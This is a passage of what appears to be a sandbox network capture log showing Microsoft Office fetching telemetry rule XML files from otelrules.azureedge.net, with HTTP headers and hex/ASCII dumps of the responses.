65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:25 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 8c86af4e-801e-00a3-6fcc-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145326Z-1746fd949bd7wvgbhC1EWR0rgs00000004c000000000h49m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:26 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:26 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 577422f4-d01e-00ad-48c3-45e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145326Z-1746fd949bdhk6hphC1EWRaw3c000000042g00000000g0cp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:27 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:26 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:27 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 748900c5-901e-007b-1e83-47ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145327Z-1746fd949bdxk6n6hC1EWRdr8c000000046000000000dv5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:27 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:27 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:27 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 1e2a9e05-401e-0078-21cb-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145327Z-1746fd949bd9x4mhhC1EWRb76n00000004d000000000cn4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:27 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:28 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:28 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 00b55cb5-a01e-000d-73cc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145328Z-1746fd949bdzd2qvhC1EWRcygw000000041g00000000f5g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:28 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:28 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:28 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4a855f25-e01e-0099-02ce-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145328Z-1746fd949bd7wvgbhC1EWR0rgs000000049000000000q1p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:28 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:28 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:29 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 224e79cf-701e-0050-75c2-456767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145329Z-1746fd949bdlqd7fhC1EWR6vt000000004f000000000gz7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:29 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:28 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:29 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 60835f53-401e-000a-55cd-454a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145329Z-1746fd949bd54zxghC1EWRzre400000004r0000000002cgb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:29 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:29 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:29 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 105c57aa-001e-0046-11cb-45da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145329Z-1746fd949bd77mkmhC1EWR5efc00000004k000000000kb1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:29 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:30 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:30 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: ddb1afd1-c01e-008d-2acd-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145330Z-1746fd949bd4w8sthC1EWR7004000000046g000000002dx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:30 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:30 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:30 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: f2a711fd-c01e-00a1-2bd1-457e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145330Z-1746fd949bdb8xvchC1EWRmbd4000000046g00000000p6tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:30 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:31 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2e946aba-201e-005d-2b5f-47afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145331Z-1746fd949bd5gpk5hC1EWR8dk400000001xg00000000ghqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
